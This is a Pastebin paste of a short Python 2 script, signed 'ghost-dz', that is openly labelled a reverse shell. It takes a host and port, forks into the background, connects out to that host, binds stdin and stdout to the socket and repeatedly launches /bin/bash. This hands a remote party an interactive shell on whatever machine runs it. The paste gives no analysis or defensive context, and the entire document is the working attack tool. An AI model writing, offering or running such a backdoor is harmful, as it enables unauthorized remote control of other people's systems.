long_term

BC python

Jul 22nd, 2014
170
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.88 KB | None | 0 0
  1. #!/usr/bin/env python -u
  2. # By ghost-dz
  3.  
  4. import sys, socket, os
  5.  
  6. if len(sys.argv) != 3:
  7.  print "[x] Uso: %s [host] [port]" % (sys.argv[0])
  8. else:
  9.  host = str(sys.argv[1])
  10.  port = int(sys.argv[2])
  11.  handler = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  12.  try:
  13.   try:
  14.    if os.fork() > 0: os._exit(0)
  15.   except OSError, error:
  16.    print 'Error En Fork: %d (%s)' % (error.errno, error.strerror)
  17.    pid = os.fork()
  18.    if pid > 0:
  19.     print 'Fork No Valido!'
  20.   handler.connect((host, port))
  21.   print "\n[x] Reverse Shell By ghost-dz.... OK\n"
  22.   os.dup2(handler.fileno(), sys.stdin.fileno())
  23.   os.dup2(handler.fileno(), sys.stdout.fileno())
  24.   handler.sendall(('\n<----------------Reverse Shell By ghost-dz---------------->\n'))
  25.   while handler.recv:
  26.    handler.sendall(('\n[ghost-dz]#'))
  27.    os.system('/bin/bash')
  28.  except:
  29.   print "[!] Error connection"
Advertisement
Add Comment
Please, Sign In to add comment